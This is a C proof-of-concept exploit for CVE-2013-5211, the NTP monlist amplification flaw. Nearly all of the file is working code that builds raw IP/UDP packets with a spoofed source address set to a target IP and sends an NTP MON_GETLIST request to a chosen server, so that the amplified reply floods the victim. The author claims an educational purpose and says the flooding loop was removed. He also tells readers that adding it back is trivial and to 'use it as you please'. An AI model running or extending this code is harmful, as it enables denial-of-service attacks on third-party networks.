/*
* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
* Date: 28/04/2014
* Code Author: Danilo PC - <DaNotKnow@gmail.com>
* CVE : CVE-2013-5211
*/
/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
* if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
*/
//------------------------------------------------------------------------------------------------//
//------------------------------------------------------------------------------------------------//
#include <stdio.h> //For on printf function
#include <string.h> //For memset
#include <sys/socket.h> //Structs and Functions used for sockets operations.
#include <stdlib.h> //For exit function
#include <netinet/ip.h> //Structs for IP header
//Struct for UDP Packet
struct udpheader{
unsigned short int udp_sourcePortNumber;
unsigned short int udp_destinationPortNumber;
unsigned short int udp_length;
unsigned short int udp_checksum;
};
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct ntpreqheader {
unsigned char rm_vn_mode; /* response, more, version, mode */
unsigned char auth_seq; /* key, sequence number */
unsigned char implementation; /* implementation number */
unsigned char request; /* request number */
unsigned short err_nitems; /* error code/number of data items */
unsigned short mbz_itemsize; /* item size */
char data[40]; /* data area [32 prev](176 byte max) */
unsigned long tstamp; /* time stamp, for authentication */
unsigned int keyid; /* encryption key */
char mac[8]; /* (optional) 8 byte auth code */
};
// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
//Da MAIN
int main(int argc, char **argv)
{
int status; // Maintains the return values of the functions
struct iphdr *ip; // Pointer to ip header struct
struct udpheader *udp; // Pointer to udp header struct
struct ntpreqheader *ntp; // Pointer to ntp request header struct
int sockfd; // Maintains the socket file descriptor
int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct sockaddr_in dest; // Maintains the data of the destination address
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
// Parameters check
if( argc != 3){
printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
printf("Watch it on wireshark!\n");
printf("Coded for education purpose only!\n");
exit(1);
}
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (sockfd == -1){
printf("Error on initializing the socket\n");
exit(1);
}
//Sets the option IP_HDRINCL
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
if (status == -1){
printf("Error on setting the option HDRINCL on socket\n");
exit(1);
}
//"Zeroes" all the packet stack
memset( packet, 0, sizeof(packet) );
//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
ip = (struct iphdr *)packet;
udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
//Fill the IP Header
ip->version = 4; //IPv4
ip->ihl = 5; //Size of the Ip header, minimum 5
ip->tos = 0; //Type of service, the default value is 0
ip->tot_len = sizeof(packet); //Size of the datagram
ip->id = htons(1234); //LengthIdentification Number
ip->frag_off = 0; //Flags, zero represents reserved
ip->ttl = 255; //Time to Live. Maximum of 255
ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol
ip->check = 0; //Checksum.
ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here)
ip->daddr = inet_addr( argv[2] ); //Destination IP
//Fills the UDP Header
udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port
udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
udp->udp_checksum = 0; //Checksum
//Calculate the checksums
ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
//Sets the destination data
dest.sin_family = AF_INET; // Address Family Ipv4
dest.sin_port = htons (atoi( "123" ) ) ; // Destination port
dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote
//Fills the NTP header
//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
ntp->implementation=0x03; //Sets the implementation to 3
ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )
//All the other fields of the struct are zeroed
// Sends the packets
status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
if(status <0){
printf("Failed to send the packets\n");
exit(1);
}
}
